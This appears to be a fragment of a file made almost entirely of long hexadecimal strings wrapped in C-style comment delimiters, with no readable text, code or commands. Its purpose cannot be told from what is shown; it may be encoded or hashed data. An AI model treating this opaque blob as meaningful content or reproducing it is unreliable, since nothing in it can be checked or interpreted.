0e375cefb4a12527e8c8c0f6dda38eb86f4de9a85538ab866973ab0b9f72c3bbaf74de14bda5f3a3ec7feec59b95a3abd18aaa8d320617b7f372e7a1e42979550774018973a0d39a31f3399e4b80322369239651076c585a9b96587261805c23e8fc8ad137c79ea25b0d95f9d54c84e793ea6f237e9c7d5291c1ef1bebcba4daa0452e67313008ac8d9d1e10067a922b537af46beea9c39653b2d2e5004a7e5a6d4460df6f7891135bcc760c0e8959bbf201b232f4ece17895e326d6cee8ccfb235d718c554bffbb04651c121b2500d45b3f04d173226e74c0a44327c2c2d4938052514796dcf4e6d907428817a046e1c58aa7ab32afaaefdc8217237e276d172d2facdedf1a1a8cca8c410441599014f158d14b0f72a9c02a77ad52c11bfd3d3ec5c06818da3729c0f34dda21b407fc3489a3fdd757b7ea542cd52d6784a28a64e9a2d9ed2edb794b870dfa269d7114d9e110792130d7c75346a650fbac201bb24e4b5bf336a7dfd55506501feaf0ef764b58b88732f023c66e9b798896b9fb7d78c6d0db33814c1264f1cfd0b4be4bcaa100e827ccebe4ed5bd1f6ec69936d11f54e5108a4c593d42754af5b5f7b7535e2c9930d5d517842a05a7f2cefaff11fb0ff0213edf0e026f858aa27232c048a8c9f86e70a8851f3fefe2c698162137887ba99eb4a57df41280f93ebd79d83a39f9788d050890208ec959aa1bb0a7a66ef6373cd666bffae2e60c691360fd867dbe9d23d878e098c9d7d5be974936c0d01bda1b4e23856db77ec3d8a928971037d33798e20ab6fb115277af1a327c63f1a91e66282759d1a5fef7ee1ac50fa7fcc954dfa626ed2fcf22d5087d5a3ae6f6cf31ab807b2737e2074a17b300674de038843056b5af45ce6423e7a47d5bc03ce16d82527895dcda76002b74d2150ba27973fed2eca13ad88f6dbfee93c0951586a2dcb31279898f6d58532f34d30514128bfb9ff18daa7675e4cdb98ccd9489d424876b688fc401c978230081ee670913fac29500c1b91b489ff982186957de4bc381933523d26999b6293a03a4f41bf5e8ef81c396af4cb221184a0cb5ba151cf26038f280bf23108f24b52369995de874f39561b06d96babcd948e51046d4558b342478e5b9ed038fab0c484f3709cd162192174b63b33e1c62e0ee6eaa2da4224ba025682168c568d69bea995f98009d7961454c6bea2a7dc53ac706f1b74b2bafba70ec901d12c313540ab63ae7903b5f66e4ab9f04667c875bde5c4068ce1ff685deff2e164a0bae8059c2d5d825606f58e5bc5e8c7dbbcbd1bde410bccc9fb165*/
/*c791745fc67cf5a7d2c71d92a400d59dcb4b30c7fd151859879359a3e467a9a31aa6e5c9abebea6567502ff9360c1aeefc3213288021ca287f802dce7a4efdf4aa3a2b17fe28a12d03dd7595521dabb8b7bc6c1718cf9ad2aa44bc6a5b02eca06aa26a9d9b80fa3f8d1ea03eb921176d3ec5d4fe4ca2b463e78523c605e55850e7e3c948be4e5247210d8d697fbf254186696580b467668c14a857fda144d5cdb6bf3f1867f40eba768b4f00b0b6d40c7cab98c710ed8c51688887fa1693603284438f078c73295a9f1933f0c1d4564931288b34b316d2ae98136d0095a1336a2cfa76cf17d89d13dd641f0eeab2083830a48265b8a0a5eb6b25f3c748723628f0e8e19f424eefa589b656bc2d33e6073e3a70bff4a7a430d973858632c6084c940600ba6603eeb78a900b1ebc48cd8f44884385df487a3f9c25e2040f0f4c43b957a9be4858b9a6618405c5d785ad6f2f7bd7aa5ba6ff86e1ec632524689413ec07920fdcb6eecc85a1ecdaf48c3d515ad9c91f62e289271f231e8d7b4554d7ad5e4d1053b3ef5fc7a4702ab0322e215ee53f8f34fb5d34bd4bebf3685a4451c32c7b534bd7f08eb6b841b243c11f7345141a95226bfa520698e94600d380877812c10f86eff6b8826f1acb755856c3c4b0e6db34b84860da6335a313df394d3e1303d37a4868fd13a801a8a6b2da448a934ad8eaeed680a4d9795cd05ebc5f5ea6c7f8d558aedd172899e79913ba67675837c85450256782082a2e505f2e1956a6beed34c2d2749429c5f62417bc5363563b62f304820c3ba1fab409a8e9936081cee18eac3c86bf426a5edfac2fc3596f753dc2b9f966fbe08b6d10045e8266619d7b110830a5dd631328f7e093b575e22581172fc7299b5b16faee4fd3acff407cd25ef940d1d2e607391e5984cbce1bf4e660ddd48450be37ee31b930fcc71e6a8a195cb58fd70bab97e0f0d4e70c5037fbf60a8ac5c4dfb666abcc38ae1d743543300a49389c414a94c051dd5f60bcab3113ecc0992acd2aa4b9760524350dd10193704fe1a367c49f96a71808f640950dd78d18415b65ed5d969cd8d8c2dabd590b59844aad46eddb1a8fa9f877f750995b158e2e1e5784d1f07b60d04dcf86d922ddce269cb6a1b6861d5602163b6c41ba8370041d33ad67d4b442a15f46d1b1e8f4b800a15230f1ccaf49e0791cb7b41cf9dddadcaebe35bac379949a9c606ae2ec2d52a7efca24112778005c636f356ad5029cc4a07047bd2cc7cd43b14d0f704693345a671ef297e2a3c35b0d454b550f833af125d6a1bf8353b537757cb39e092308545ceda3c43b782239b5b116a1551435d411d9c3b78f8c6235646d26b6f0d67cbf2e6d95c12b4d4318c541b2c6e465ef3fe17f61389ad9ba462e9f0ca81b425d94201f381db160bb76824b147babafdb4106a73441647aaa642439f6854e7b4e5ebded5029f2f1b64c384e051bfeae54c2b519059c804fe1b477cfa17ceb300a5a8dc9a06571355a99dfe7e9c906290f15b0d5a2b89de0da7519d3d9914bc441be6f9a4efa2a21d07f117bf5fb9c27924260b9e762b0e95176d5d6e2367fa27548dd839f247cb29512da9e4279fd18b813a63b9708d65b618242f05d2bb4a0e4584604efd92b3ede2f08a7150c2bf8fc9df9fbe9034b37f505f294f76a0fdfa5132933779bc7567e8f1e253f0da95e9bfd9dfc193f678daa9c70f951e93f9c6fa8beeb2b611351804b3b37c8432c4f96b7ae864ead8fd976f7be728060ad87258ca7a50b18ef8cef39f1ab87424303aeb8db8e790e914bed8e4607e5c1c60b915a6ac1a9ee801d3d132e5771dc394587641c081e20ef5d4efd4b47485d9a1101764e62e7a993d45ce5075adabbdd00b10d4eb3fc71e1ff007feb57b8a406b012d3cbad0db14d628261e95ff2bbf387a926ced28211ed5f31d69c96b800f921b96bcd186d50cc5648bef38c89112f9f518eecd2f15490b87a2906ae8692e3d431ce72b4c5d4d72d05b4c5cfc10be0951a405f1ee8c50a55cd781d474d4068a786e39719ecae5a6c1a13d23c6a52d6dea5fd8a49d9526833ac2b66cb173836777dd84b96dfd9ef4acb3947929acf643f1bc09636c8296bfa699591fd2107ae3404ff3a0ad85beb7697bf5d70bac8293f122cb32fac768114aa66b311a4e5e0a09a61c6b0ddff420d933ad9cd322eb514d0f00c6e3f65decb61dc125f51de007a4e71bc0fffc6817b82d2aef8ec66391fcb9b4bcb4c000c689d4ebd3fb6d92742ffb4847c33a2697ef9337654ab53306fc6b14388b7a78b35ccfd3caea5c96f25841d07cbab14fa4d6efcb58e0a47142d3b1389f89529ef6fbb9c19905515d460eb352c15ad70caff480c47e7665e7f304c3ea42214e519bdd66f9368ef195ee4973750d4fcf305b93b2e88581a669d0eb2cb6e6b3312d9406d80e3e44a1f538523aa63f516dc855f266ef30c66f73f776c948821767ccfe3797fb83fc550a5036aa58d0e8f1996f3e16a75a2d7c58e38453663a319a9e33fbab8d0d694db56ae18fa2badd3576c36b7207bc61174c7f432e1022ded651d972d1c53105bf782914502115e725e8375ae92cbfbbc2662bbc2ad0d97a8df57d52253b7dc8749f8eab8d43a766b59bb0fb4b122d5cd41b90d2405741b45f04f5a457802b446ac04f5f7784e138cc84271240b31500f819e57949a75070d92fcc54a25798c4678eadfbb5435eb67df32502ae27238fae063b1f522533844420fa5ecd57ed3031fd6293a28015329a07da83a92f69466a8d42ad148f59593829a45a8c9424bde12580337ae5ee0146aa0a582*/
/*79831a1ca946c1cb2708ce2211801d5011259d044357b6df93795346b2e9a166473f2c4243fd320b048f034b9ce6a3d9363d577d15bae7fbbc49d8ecf666adad735a21b1f9cb863c21de281978a4a869ff972683003c84402ce7faafc514d6d758a285af6e7b7a1b7ee33bd0a11a239a4311a892393f3b35de0bc284482e500a3c7c77cb36a5abde9aa9f78968bec8c4e456e38ee31eb70a735e4709d92368bb147a598c09d54b11ee33495d8ade277e4e429a36f8d1323ed0d17e60d995727b996c91830aac934938b81af2e86e042680f2e9c4396a2ed18f763568d262fe2c91abb0086feed623704c50077615a0d72cdd293f90df72cc157552f8192d2fe608688139b208507ca3595ba09d2233f6bcbd752ad38d2ef5caf4e1fba85bfdb75a687e39db0444cfbe256e3ef99616a0695a3ca6db93bbba94c5fdbab5754336a3fe7571c7b86c74025ed4f091216d22758d1a3861572b56e8d71a15e6a972e13795bc65f1f7f68e198f3cf43623b3a198060a7a3bd0ce18c0e231ccf56317afed89b459b4f907e3fe859ce0b960a232a03d741a5c85c46b7f66b265a58497f7fa1d2a81a897aa49070589d748b4f057fefd4e6098a6e0b9ee42e86d36ef4f76c58f0bd24ae2cdf98f9a52b0f01e1c453ed73dd789151cc45b68ae200ee958d3f5de05722aa189ac49d1353edf091292507780dcafe85b9bd9f0ffaf80b6dfff4aae589600aa1dfae081ba921e43f288049d12ee8a7bb724faa6b091750a3d8110191cad7bbfbd3e15ba00a913312ade659878c7e9ea99043b4f83c3871b77c5918434cbe66282fa86ab6b28d792eb76256318a1f8ade4a725e58b31aae6b619bc5613d105eda406ebedfab9feb5488d147a6b2821b439904c2cc718b410396d69ca1ab5aab2c034cf35c1b39160056572a00b8bf1b021fedf67420e491317a04e803494d1500cffbd714942ec9fd48afe4ef468f46f3bb98ff0735c12bdb1218b98e97af2e8b561178cecaa20cd562c828ad33ca9669846f5d0806177a15dfce1259e774188fbce9dfe3307db76816acc643805a8039b2ea338b443138dd5e607a7ae990bd85b010748eebbe3d1b9b1bae65967e1eb636d28b9ba16db3d1f39d677a4c0064efb70f41bff72c4c283b7ad5ce6a5f0add6262db4d855e87c48d77ee4b76ae6e9948420f8672c543d8540f27508be19867999dda66e2e4548d4384e8c6ad0253602e729963354c08e92549472da4679ad3ae7cbfccc7b59f8305aef186c1a86caaececa602423965efa1b148226d91091574ede8265a1147a4d586a411bb8f6c8f22a1b69f364d89ad304bc96768bc9afbca85983eb8b68302d47d1b85fb4f8ec147483dac82a959685b6a27bcdae5ff440d0eb711fdda34cdf061f877dbbafdbe438224f7d390591756fc324e28c4a563eddf0484e83be32652814d568ba525edd0ad473c2436a7c6eed7ea4bf63a379ebbc6f295a2808acdae89713dfc87bf2407627ee0d8098de347420fc34903b65f7d8b21ace06ab9563a7cdd594c6fc372d806cf978aef15e9d3ee9b46cfd4a49bd29898d7d0e22ad9e45516064a78b6d054515005e9956418d4dfaa99d82bd36258eb357689911be223fb1fbfe2afedd4fd4383f1ea75252a807123b17f542943f34eaef906a86b3c1dc1c81d78f6ff0ce6bcdbbaef13649dae60730291b96658a9271db263776774cd04feedb4ad669568459eeac7792d79c582d53d71dc64760ab2dce76ad1ffddab2d90a0ca0f5dc78ca9f8197afc2454fbe9fd146262fe3b84752ad82f7ad8090f01b345b61ce6f6f097287f45f40784f0722eba6d9443425ce63c4afe44a74e1d1bffb20d846fe843fa6137ef85fefa35f4bbb938da1d8818246ff2a4850a4399fa135dead5bd2b0dc1005616798ec02e67041bce4e30193ff90ede755364b863ccc46a1938578a045343377f9325b9ebdcb341b6a382d599a87d0213317d11d60e4831e5ef382436a0d64b24fa382b335b7ad267e42a50c22237a2352cb5ad79da882eb7d32781f7d257b85dd3632fa7dda386630725e7d241d21ad324f6d643c37789490577d8ca5c9fed9ada36dd9e9fdac7878a3fda3c0bbe6387491f4531ae35b809a81edc41778e64fef1a4276f1f0fff8e5aacff25f855e2dfeed6c1f6b9b2743d7c52f8381fec5c9ec25de3539e8d612eb7a2f3fee0175b27804235a6ab6527ab8ccb1a4b22278bdaf7bc098d4620714f63fdb0c0d648d92dae5fbea8c3fa086637930991c8e5af7437da2efd6493685d9e15c9bc56c01919e14ee24dfbdeb03bddcf8e998b5c0380a7c65e2f05dbcea715791a76f9e99345390358e19e293c44b13892aec7c2b8202b3b89751407f55fa3f81c0b241d755da2042217d6a2051068133f829438decb91a43ee5c23fda36f19403c1c748bf08efce88e71e6d93130ab57b8339c787044702b4b1cc43e40b2dd4806d7af4fdcd908c2c76cd2ef7fa51f47c3309a872be1e749ed0046291f2cc682c2d2eb60c7d08079917188a6636ea6658f0632f751c0d40b94b9d071a3accccd513d1dd4de4370670dbe77f4c732be2087ca385dd87038bd28226808e8658968b395e94209bdf4f93c56c4a54ab2aca2b013a153dbd81f489670835216e3231bc9bc63a0d82ee52fc2298c456fb8e071b0f950a08e19bfbc3ee577a8971173cc9cb4091896901cb196530a0cb8597910e502b68bc63b1d302e82f92016ad2b88a7ccecff0a515ac911f9492765543e5c1d6e35ba9b1e2d82a2d77a70a7a93a8e85dd1a8b44d566e8a5575bd76feed78b587e5e800e7014bab896*/
/*58692e4fdb7fa9df0236420b367ee0a20d51deac650a55fb4d4ca9fdbd37c90df1ca6cfb0f169f8bf6cad42db289c7a2d5898dfd07bec6fb1ce4e8d3fefdde64caa37c07f23ccf091beb1b699bed3029773ec14003b40e02eed0c7a5a3e104fe94ba83b9a928325014d31ee8c44597950e5c28941a9d6067edb1b1cdecfb69f1b78ec43e803d5dd2b59c6685b31d8556f001d318e854a686ea687db4e8e815af139a20880d3e4d397aad34189530045ca7c6c5ea30464aef6cfa33185581835d1902eccf91a95671c46fb754412da1ed2013556d2322bdc38308b4d7d0d9c782f1da0a689cc1b87f7285f28c658b1064587508d38e7692a6b01dc1a70beef2b57057fe953761c55de152300e581a12d278bac9bbcb608c63e427362011d6896988b44ef0e7d1703a32d9adb308062fc98b189ea0b97e4c1aaf55d0667b945636e6454bad3b026e71c87ba7b5767f5417eef49c2449083aeabd752c261101c71bdd1e14d2f8eb0194a8940994b9187cb57b2e2135bd5fad146c98b3cb92e9ff534b68526e149c5118e6107033f39e493a632d29276a97749ac0d1235574325e12c1959586913308c3eab11296b9cc8fb2be5ce2f384c14bcc91fd216d038d9f34d1de8502fe9585c5bb185ba5183cbb5f0dcf574b2fac91a0cd0c593d1eb08d9998ef6e1b69ba149e23951214a1eb4f8202e166c255956a82f7897735c588dbdce99f7bc6ef00c99dcf7402292187b324b40dcc13b120a2196ee038661969d48be05cfaa8ea4116234860989b86d8478c2d446ef3f4bda096fa4ccb6c6a9efbe4e84398c8406c6c78b459b16ded4c9d9ecaffdfe1fd1bfa7aa5c4d4db9c6f8d469c655010c299399ad86a4d8036f10142bdcf3a4e768d76d37ee9a3d2c1afeaad5c0f5f5478b3b7f040bb19a4be85c823410a73c08fd0bc629c99bb1ff5ed3bdc922c2532a5c49a2d9c2a2b463c6144e19a0fa9b375de18035e9f38ff3935e41ea5bbb317b8ef61ba88722c71cc415daf16e4b65d19e3f61565e8f8a6c7e0dfc1241738887d509c386c7dbffa33c3865546d6258b0913b829477a0caf095aae3ddac9dfd34004400f992075c2654ced4ae1325b0ad9963f1cbef78206ba03c54a53bd597f2e7651c9a928dbb7500ee0837d0598ae3b00e8f9f727c3004d2a7c27095e16fd62d23d38a83f0f3db98e01b5c90799bc1e739a2ed549eaff7ffce8f17f54447e5387c99108fb38a61cd7deb3fd99b81a3cd555be3c16c5c365702584c41156f340150b954e2b22fc9f8b0ff9b7dac2d6a0423687de6242f93bd84c8f97326cb0139cacd66d3595cc1bb1031f6e4e9cb51f3dfe492b6f1f5748c638e7815a4c5a09a50c12e34756ab05ffaa566fc739141a58117c0c21217e055fc6f77dc1627f813fea26f27d59720243040202ed199e5e732170df2e2e9fc0ef9a45fb6b60362142fa21c60b350025d06b495727f579c53deda83a279b9c482b5ec35da811301f6067394033d869fa04ac25c8889691b384f7a78abcf7c13cc7fdee26348d13dd09ccfb465f67fafe5d9142441afcf79b4247b5d82909b5ae98a66c42f85b83655a06309940e456a6919136d10d53d3ba791717b69fc24230c574344b5323d8496a8e26b3e2bb0b636909f9622e4b39ed577213dac3e0cbb8df8dd70c110675585518a6ca65531aeb23c78cf0b9558e055a3f90e317d744dbf37246b09ed8b609f01ea15b9243c2fe0b17af819e45f12402f9f936205902c0de59391d3f6845a88ac3a76b05f230e38b178db6169846ed4c842d65c4ba0a1dbf1dcee67b96ea00953854687635f59e58101c27283f5a02438850e5ca3c72b5ee57013b21157d83f6e544e365ade18c46e57c7adf3d516cb03c90be00ca17ed04ac1dd6af738913b076a2cda07e8e4eca4efa68089c7cfdd610dfa26ab7477a9a71cda93bd71bd943377a6354659c15116d392d829ff1a42ac73bd02a47b497e90dca44c5960d52e31006bb33e9d7b3e57a381e7328491228376cf668ba881e9b63255a4ed0377354d5b3dc69bf5caf574e1cc9ffb07ec49d85326c15bf9a63e7be0ca9dd840606f556cbf8bb8dc6de94eeaa536133c6ed2d8e18dc9a3da78d1dc31e5d929d16306beb9e8e4685740ad6fd59baaec4e4f0b10abd0fbeb7c96b42c48916f92eeb1faf6b05756d562a0bd76db7e609f04532de15a972a4aa36f111726dfb975f7f9cffc7bf0db0962d5293c0b1dd82ceffd49f4cfdd2b5eabe1addf6d4b4924f7aa86d986fa8ab4e012f96441bb8d44031c74c826a91688cfab0bcfe437424f1f8dc7008d27f1fd5dc5bcd57f11b1310d8cfcc99c8f5ef10a5bddf8361a4aefa59c07484fe7e1b10a3e7a1dc243af071e143041846e6518948aaabe26c90f6e96b538e38b2a57bd4113ba0692856e977b73ba462cb0d82e8e56137db6620c12a30ccc9364e8126eb5f56b54d78c1ff15813b9c7e3c5db4ea3fe089c92d2bc69e92d4ca191ada137ad4b099adad24976009565b752b4fc4eb286189e47f21752978f4102b7646c103c43f3be67214c49bdddf30a5aaf4a106fe48b0fb17947811a115628a0029325c120e4f1fae7b72ba3bc757f1d8580d3524797f58893956f95cb5d541591f6cec02c529d4e48bc543bde005e14399beb418ed00f01b821cc468e0358f8457f01b1a51124e7db5e68cee575b8e4a8cacb720194fdb184a39d28f9a6d4184dc472abea8bb327e3395eb7a2705f4ce0edb8f5aa2a1879dbb57e2403c6338fa215ba60b8c3013a14d88c830feda232c512eb53d6471e6a4545d13541b0af683be55e7f5313996ae*/
/*31d20b9dcec864428bf97e89e8d8a37deeedcdd383515d90012085c3962b21197f67ad337ccd7d7716843c22faa2599b28b16d2bf20a814a9448dbb99b84de067f69649545b3cbb1969c92fca6a25a696d18c5977f3f2c1dd1363b62266389699a92f1e2b42fdc4370cbbebdc8c01d64ffcf6fb582acb801b5adaf4a448fa7aa712734b18867fadbe8026ebd0b81c641ec38f7ba6ec899de5b53dd985d4406312a36d2aecaef4d1c46c52c5b7f61f23de664ea522e6c1949e1336f3a4446e5018175809ab5aed4af8abd0aad12134f585f0c740376f76a5fcdc269b27a97d73b98fe0fa32e6554d07bcd04187515c98bcd9b50ff71d918436b691e497f5f685ffbbfdfc64c6b8d3dc5b917ee9e073857264a8c544364786e2a5d8d1992a7f9ff3533aef8285f46140b2a9bcf12e7e1a26ae4a5a0ddd0bf2c023c1719e30383e17ad8cb452e02a3ef7dc9661519484b03c3f29aff2cde28b342bfea7d10c74b0871241a2948be176f5e79f8c9fe0dbcd7f3e54a8281ae9fe0bbc2908348ed62f6ddc6280a2e45f96fc770800e4c1cae235f0edecb2a2a0a239522cca88bfe5ce400c691b8379e22d70b774d4230d66bd021e425cf032468b940b41b4f0a538285a2545e8f1b332f67752c2b0f3878cf7c5a1ed23d43bec0ea4b855ae05650afd44acd17b26a68916797c506ac6b87012c888d7db2cfb00a60afe8e9eb8000c680821abadbb29988b26df6f84e32c76d43fa7b469ee2b5328915cc66c1767e163d1fcd8ed78c4f49db27f8e19aa62372526f319e70caa5a19106111e0cff791799e9bbcd3395f9b8deb512213c1bfa30fc253586b839a0dcdfeb7e3444ca8de621312dd93d9525cddd9acf1d41d8442a734f882876833bbbe093afc679d2f202e91b71dccacd543fd648e9ba7151f4d4b345f37515c53304a4ba5fa10d50a0a2de888df90e56874b0cb02e7669e402946a2751ce5159ac4d6ed1f45a337891857e117357e7080ce6702660f0266c2c72f73706bcc414f68b08cce918afd2d70c15bf1aa86812cd84c7c6c8be8679017814be8aec8b30554c3d720276bdc56a0136683c6529ca1b093d69d6cdd3f1eee9bd39ad5d2b73c91cb8641c9ae2adfda1e696c3a4951845fd5c3e66e19dddbeae11016d397eaad3f667cb46624e69f58ae33b5298860710f6762fe5057af5ae05025049468572e346fc72a7292a37b43704c8191fb8cedf10c8bb16d82f811137eca4ec5e3b80ca59d58640df7e5e69c7d937888e2981ca7b0baeb6c0fe24af99951d099b10b530fce2277f41df6834129ef4b895dfd2ad872e3414eebe1c17b608e11bd2587cecf06db06e20697fc903c9de1b3f4cbd8e74ca03de5cfa6eeed181e8e08b92580caf53344efca58a83e121e28250332c519016ebb8c0beea7aae9ef01dbd4985940e7f4ad02d34a335fc87836068fda12f0b53e1ba015683e3f2aed06a5dade5bc9f656c63070bea49c116f7dbbcba346f8fa8916a21ad0e9f7005c49180a04bf09169a9638aa6a430010101a719ed111a2a578ceac2b097a9b10f9953236467bfb8ab0e49ca2ffcd96d28e84d85956260c8de0651b6a5e4ec562c345a3dcae20926ffb1bc7e6cbf092a8d84e9a67dc02e993ae79360692e457e76b4a8cf659d514a31d5a79d4ff0ecaa113d80694c3ab4911ae1eae5316d3356f6c910c182adf101f882004adc17ae40a9ed06480eaa3cfce401656591c356f8decfc24734f923bad21951afb742a68a3c7678195b6e5d380050e87f9b504cc30004028e28ccc8cc1e1574eb7b625f9c99a3be5ddc6d0cc8dfeb99e1fb7662394db445a56f1f99c45168a6c1eb00336335ae6b5479923fb0a4dc181c313e98ef9b42f2d20796d9ff9d2bcb2a11b9fa54b511a3e12d2e163f7009831de594c5e66d4991e472562d453ad2b6a815a930700494f53de22739b693cfd706783aa0e1211505614708840af14591e39bde835132f9c1d0bad7625b3ee1c00ff9e5d3a0f32adbff6488f74ca23c0556601d09b85aac1952056f4018113792371854f8ebe34285026291fe23dadc946aa2268854d67200a3dc7cf32d53a4aabd49e71bfbdcaca7b6ec198be5f24ad17cea77cbf3e28f90ff67dcd2118422f84588e0776d31db6bc177592c71127bd65b0dbcdf547f626f22cafabe83147d57cd72c32fe4872a894b7a8c475af8ddbc733751062bfed5f2e92ff5e4879b48e79877664114b22f0f78428c5d293c4f944eafcf179e3020d0a3fabaf82ac1cd4bd9a166193863d950f8042927f11db93139bfaa5d66c636d31980c889c3a5eb7436673ca5505df2c701aef072c05399883799b16e9dbee8b699a6af5779f0ee7d9044bbd45e1fbdd64018a521317190e594109f89eef2caa3c7c617f0f73c1ef446a0402d889cc56407674a8bde179806da9c4f9f8da0dea5a702bd8f2b3c3c17b79af16282cb6ca17bb352d4296a25860f88c726248c67d60972d50e237f5dc9b57083019cb357dc9a9e8bbe7f65d45802bedd2dcd9e8d786e49311eac39a7546cc4e6ad7d2c11562eb4ee31c432ada5b6d1ea3d49eab400140d18e8214b6e0dea23cb2962e47113fbdfe963ed41a507cdd3b67a39a727056aa978f2a9c01df0ce72404aeadf305110bbddcc3452a10bc6ca6b9d72dc635f23a04d7efa2fc31a0cc6ec02c4074f45ab934a62873f999732e7bb661261691df9b43730907fc314bbdfad69e75de4c17d02d5cec995f7bec4ead54d1f24a54212d0404067f10a88877a2987e62e685ed9f1499735329c184f7e04077e74c77f00f4bca22dcce3ec984b1f822748*/
/*f4287fea36efdab0f26adcec5c2178c263727b16d73f17f220ab72cfceb9272d8a818c3273e916872969841f434ec7b6db5eea55c86db04050d77e2a0a41b2afdf96dd270a5ffc349b798e03dc353ebcc5f31b2bf1dcb78a994312c7934a65dfc7012885232c1a72f9dfaf72dfa290ccadc9869713e6d4960fbd0b8d94c8f17fa2c910c2e5a6e05f96c0c0d32479f75c586b580e20a04c9730874566ba3a78a46ed13953494f3c26a34cc2c9340ad225f679b5b0a750bdab2c98c1450f8d85584a73b50377f2330f583a349cd7ae5b0bc1e7f17b657f70e89b3cbfd59c9f4acfadcd28441d6352afa39a34418db2c0e4e02e8b34bfff4691b2a766bd01c34c112d24007cac23ee92f3a0cdae1f2031ab049f28f8cfd0b6bf679d2c2e45be2fb8ce6c0d7bd6e5a6eb4d14b151ef0f5409895ea2beffb3660a058b4e920fc1e900be4d0f98cf52db5b4cb78557a0c28da17a9c8d8c0ab2ff831e04352e9c9bbabda424a02dbfbdff04b15e3744e1383c49f607070bb7006afccda516f9d40a7c5f2f34aba6586f4b3fb30af0b5cf607e26669d9c596d2e44bcc6c4966b6f6cc9d26ca9a43f38cf15f8d16722fc651a480298c87fd2d227535911892968e1b9cd81c57d3c7de493d38b8071d41fddddc2cc2356ba8ca2e010ef7a76cdf7102b048ec8ddf67c0fb8da0dbed4ef823683ead837e852f84f47589d410f0d86632d90b8a271324dfd67aa11b87d220a205d831bd16bf07de7c607735c5e45b483c0b6196d37b43bcd60f590ae35edd4e019c650551c9e5f23677569433ca7551e9d0a880410ce5d6331437b0bf078f9fcc4d98b2cfffe0d84b70a6283f491ae2a80c6d69a02fe0c9897cfbb21186c30d0ca28182f8ee3df3d2cdcaf8083c898b4aa996ddd137482533bb5c31e1599b6840bafe9830f62eee6f0fa5b929a0c06f30abca7092fd01f165d7068fc89804f94dc9b5024ebccff29ce6910404eaed418ee992b0b4770cacc49e1651986b5a5ca585a2b58d87875fc5b70eebad42e9d8bf41dbc13cfcdabe8a43873869501d5bbc858637a6121c9628c229cc8d3a2aad57f8f630c3ca51d2398e768ef501b0fa9e53327575f3a670c8d159e7c342933d8682fa5ca047863d694b860cb0e1cd5125f164accd20f9942a41f83fac2053cea358f45736fb85a0e030ef1752ba4b92bf88df04caae2787620b2bb85b414dc351141c8b73c5138d7c4ba3b5e4a9f5d043e5684303d744b8bfdfb677adc19e84d81bea34db66942b31397038fe73fb98f70ff477ea6224c7fd65291fab8b589a8b4d82268b5084eb3c22798cc00e3dffa62ae8eba51050291d03464f3f00763fbba8d985bdc2e035b11967ab845921bdd771d92abb91e63777b6dbc8309697fb78352e1a20d91f58eec9e37e8fd45cbc7b1f641fe2c38340aff167a3dde7ae6e955cedae985556a0c3d557aac3853a238dfe624cf73c86d74399ef4e0626d463011d3f762b11cd241003a99b3a87f75890f6caa7fd438a49066963f1d49dba6c635f778e533e35c8b541c7aa9c743b0ee5d68261679bbc378b480f9d4130ea96a6d65f0a19c4e6c5a8ed693b92faed60199eef28ba5ff860df2644728b042437f03b5b232a3072b57152758f3d9f92104bf90ad45fa6c9058f99662836f4584cfee91cb84525820d6c17280ce710f3612b23ce589240ecaa6b0531657585742a7840b7098d9340cb8de21d25107315ccbd820cc23b124221d42fd17e6746fbc24f26bb85d0e43b7bc2f03a0aa3e3dd446851060b6643da7999429bb11ae60bee3c6992fb5eddbc44adf2ed342566e7bca09234217163f45f378899cd5038b40b0b632bde248d8525f0ba9183f308bd3ac3fecddf3104824eb7db97016fd7d14205aff7ed4a5dc2f36dc3cd125f4f2613c7ef476fdbaef03b3bc8f5526a06e78a844437607c8292dee498687bf02c80949e1319c0bab25640b7761b42b14fe2ad19be044649c9410da3c37caecc1654299304810f4128172d860dd56ac04daa51a31058e2b5841e781ec11c67f1d44c3f925847f1fef3110bfe9d1ff24bd535d159051cf48dd41a2ceb4881de6d470c7b98a66f82e2891ccab40e9ac276011c79cc0f2e2677628f965f6ad6fd0495d058f886553f0991e671619563ca07f41faaa468a6924cd7e2a1ac529d82c1c4e18523c16cf63f6ac2910c035aa4f8eab52d7265b2352a65b9bb145ea3d354da9301a4c5e3e1aaa4205f383afedadc1a29055a897aadf3256227384bf007304b25b8a2da95fda623be158e520e9f308c40e074f20f2a1f29fd88da8c7c7c4f6ebb1a03b5f9af83dc069bfd8b1f976a4c0c41347466d4a2e932e76c2fd9dca60bf8dd245b23bb52bbf74046eaa421abe49341e6df646423c4f736a2eca1f8aaaa6d3191161cfde222556fd8def3a726cc86134542b03809a40847045eaf81697f01db6e2149d697240676f081d849a033fc4f4ba585e97243735f049de57455f2873500715e9c0366f1d629b53d76addb59b507b7e66fff441c673b56274c307454b14c0426933ad56c848cc4655d7f7cb5ac36a41a9d62f2e63d7d90415a636f9ccc922c9d137b0a86181cf67a147552fdaf5cff1d5b7acf81cfdd8007a70d8e0bf030909cd90d7991f03fef7af8736f10c7109976069acc116c13f99bc84d508a8de5889e2afcfffbee7cfd3bff4d34035e72f56fbca96e47eb6cbe5cf7d0190cc5635ca8189b7bf3008fd48602d658e6b623f07eebca063b8f8969d1d0330bcd1054cfe827cca33c37c0c5a87a34a47e6022cc46e191c51d7e24a28c59ceeef7881222ad6*/
/*3695b629ea03543e6a71f397db5c874ce21a77f2321a810cec148852ddfeeaa6cc23fbbbe78db9f8f4c18a78aa41eb0d836d995fe099b259d5e00b2a2d98166a0d838f4e6c6cfe1ca0a159909144a0abe98a9f255a703000977f86238d9a1a6dfdd1ca492640dbf827eea48162a518e1b856225956f5ee82c64e095438dc4d8cc0268a1827a6173458fc2379403d50986c44039f322b0d342892577b8042f523d9ed116a4420f2293c7b67bccd4cbaac68c0f776471f780b76a28d665d26a911086481e0b9c93e48b690600eac9b15ffe0c43783e16f1dcce9816c61121e801a5a464997c3b04f44ae9e8b6b622585acd09da75bd74b26d18a4ad6d186722616bd25e916204c50a47059168267c9d7242c99b55739c56f05fcb8e02f610dc4a21af37b4325c9763f880ffd4f6117527e9acbb9e2e8262c7912a6c475654b59866185b054d32323873ce5ebd65805b5eb6c36c0315659f6cb9758eea510f5a2c2396f0088c94cb68293ca43bcfe22bb9faed920afcfd2b0e9f93690329170ef7392b2fbc35786f33718636af9f6e88f0e808f2f021826c87e7d6e3aec025ceaf5e7a3b484e5331db134941ca4258ca94e84246f53cb43c6d0ab91f45904af3b133574282d5b7de44b7618156b36b59879cc5d9022a72c6236bffc54acf09bf750eaf92fa160d69a66735865b7fea366d38b3a7ffb3750089116d918ac50ee442f619953ef166cfc66d0a368abe8ed533fd40f6d0fed77d8033f017dc205aeb5a110c1bbec035759f0a4eef4ce8471cec330dc9f